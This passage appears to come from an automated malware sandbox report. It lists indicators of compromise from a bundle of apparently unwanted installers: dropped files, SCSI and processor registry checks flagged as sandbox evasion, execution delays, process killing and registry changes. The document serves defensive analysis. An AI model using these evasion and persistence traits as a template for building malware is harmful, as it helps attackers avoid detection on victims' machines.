(x86)\MaskVPN\is-R02EM.tmp vpn.tmp File opened for modification C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe Setup.exe File created C:\Program Files (x86)\Install engine 16\is-PB43B.tmp IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\viewerise\unins000.dat 2xvuwim2bcs.tmp File opened for modification C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe Setup.exe File created C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\d.jfm jg7_7wjg.exe File opened for modification C:\Program Files (x86)\Install engine 16\getithelper260.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\Install engine 16\is-PI7P3.tmp IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe Setup.exe File opened for modification C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe Setup.exe File created C:\Program Files (x86)\MaskVPN\is-ODCDQ.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-UEBEI.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-IN9TC.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Install engine 16\ucrtbase.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\I-record\AForge.Video.dll irecord.tmp File created C:\Program Files (x86)\I-record\is-I4IBN.tmp irecord.tmp File opened for modification C:\Program Files (x86)\I-record\avformat-53.dll irecord.tmp File created C:\Program Files (x86)\I-record\is-Q464D.tmp irecord.tmp File created C:\Program Files (x86)\WindowsPowerShell\Xufatylari.exe.config Microsoft.exe File opened for modification C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe Setup.exe File created C:\Program Files\unins.vbs Full_Version.exe File created C:\Program Files (x86)\Install engine 16\is-GLCH9.tmp IBInstaller_97039.tmp File created C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Uninstall.ini Setup.exe File opened for modification C:\Program Files\javcse\install.vbs 22.exe File opened for modification C:\Program Files (x86)\I-record\Bunifu_UI_v1.52.dll irecord.tmp File created C:\Program Files (x86)\I-record\is-SGQ1Q.tmp irecord.tmp File opened for modification C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\d.INTEG.RAW jg7_7wjg.exe File opened for modification C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\d.INTEG.RAW jg7_7wjg.exe File created C:\Program Files\unins0000.dat Full_Version.exe File created C:\Program Files (x86)\MaskVPN\is-95CCK.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-0B8DC.tmp vpn.tmp File opened for modification C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe Setup.exe File opened for modification C:\Program Files\api-ms-win-crt-string-l1-1-0.dll guihuali-game.exe File opened for modification C:\Program Files (x86)\MaskVPN\tunnle.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-ONPHL.tmp vpn.tmp File created C:\Program Files (x86)\viewerise\unins000.dat vict.tmp File opened for modification C:\Program Files (x86)\viewerise\unins000.dat vict.tmp File opened for modification C:\Program Files (x86)\Install engine 16\stdvcl40.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\Install engine 16\is-AMNKV.tmp IBInstaller_97039.tmp File created C:\Program Files (x86)\Install engine 16\is-UAJS0.tmp IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe Setup.exe -
Drops file in Windows directory 38 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File opened for modification C:\Windows\inf\oem2.inf DrvInst.exe File opened for modification C:\Windows\Installer\MSI44E0.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB17B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB37F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB75A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC006.tmp msiexec.exe File created C:\Windows\inf\oem2.inf DrvInst.exe File created C:\Windows\INF\oem2.PNF MsiExec.exe File opened for modification C:\Windows\Installer\f773d8d.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI8306.tmp msiexec.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\Installer\f773d8d.msi msiexec.exe File created C:\Windows\Installer\SourceHash{B59E6947-D960-4A88-902E-F387AFD7DF1F} msiexec.exe File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Installer\MSI7410.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI86EF.tmp msiexec.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new multitimer.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new MicrosoftEdge.exe File opened for modification C:\Windows\INF\setupapi.dev.log svchost.exe File opened for modification C:\Windows\Installer\MSI6E62.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB4F7.tmp msiexec.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new 1.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new 1.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe File opened for modification C:\Windows\INF\setupapi.dev.log svchost.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new MicrosoftEdge.exe File opened for modification C:\Windows\INF\setupapi.dev.log MsiExec.exe File opened for modification C:\Windows\Installer\MSI79DD.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 25 IoCs
pid pid_target Process procid_target 1336 2464 WerFault.exe 154 4964 2464 WerFault.exe 154 6852 2464 WerFault.exe 154 3452 2464 WerFault.exe 154 6832 2464 WerFault.exe 154 4584 2464 WerFault.exe 154 7144 2464 WerFault.exe 154 3936 976 WerFault.exe 339 4444 976 WerFault.exe 339 5908 976 WerFault.exe 339 7344 976 WerFault.exe 339 4212 976 WerFault.exe 339 6008 976 WerFault.exe 339 7060 976 WerFault.exe 339 5900 976 WerFault.exe 339 7388 976 WerFault.exe 339 5632 976 WerFault.exe 339 4776 976 WerFault.exe 339 2852 976 WerFault.exe 339 4840 976 WerFault.exe 339 5988 5356 WerFault.exe 653 8356 8904 WerFault.exe 668 1108 8476 WerFault.exe 683 8472 8328 WerFault.exe 689 2672 8392 WerFault.exe 687 -
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\HardwareID svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\CompatibleIDs tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000 MsiExec.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Capabilities svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0058 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\CompatibleIDs svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0004 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Phantom DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\ConfigFlags DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004C svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\ConfigFlags svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\UpperFilters MsiExec.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\CompatibleIDs tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Service MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0054 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2006 svchost.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0008 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0064 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\ConfigFlags svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Mfg svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Capabilities svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0004 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0016 svchost.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0005 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\ConfigFlags svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Phantom DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0009 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\CompatibleIDs svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004D svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Service MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000 MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0005 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0038 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\HardwareID tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0065 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0016 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\ConfigFlags svchost.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe -
Delays execution with timeout.exe 5 IoCs
pid Process 8248 timeout.exe 5172 timeout.exe 4308 timeout.exe 1732 timeout.exe 3916 timeout.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer multitimer.exe -
Kills process with taskkill 12 IoCs
pid Process 6932 taskkill.exe 1796 taskkill.exe 6320 taskkill.exe 4208 taskkill.exe 4384 taskkill.exe 6504 taskkill.exe 3052 taskkill.exe 5380 taskkill.exe 6612 taskkill.exe 8816 taskkill.exe 5492 taskkill.exe 2132 taskkill.exe -
Modifies Control Panel 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\Colors cmd.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main BTRSetp.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time" app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-841 = "Argentina Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2491 = "Aus Central W. Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1862 = "Russia TZ 6 Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-931 = "Coordinated Universal Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-451 = "Caucasus Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-215 = "Pacific Standard Time (Mexico)" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-662 = "Cen. Australia Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust app.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-365 = "Middle East Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-81 = "Atlantic Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-621 = "Korea Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs app.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" app.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time" app.exe Set value (str) 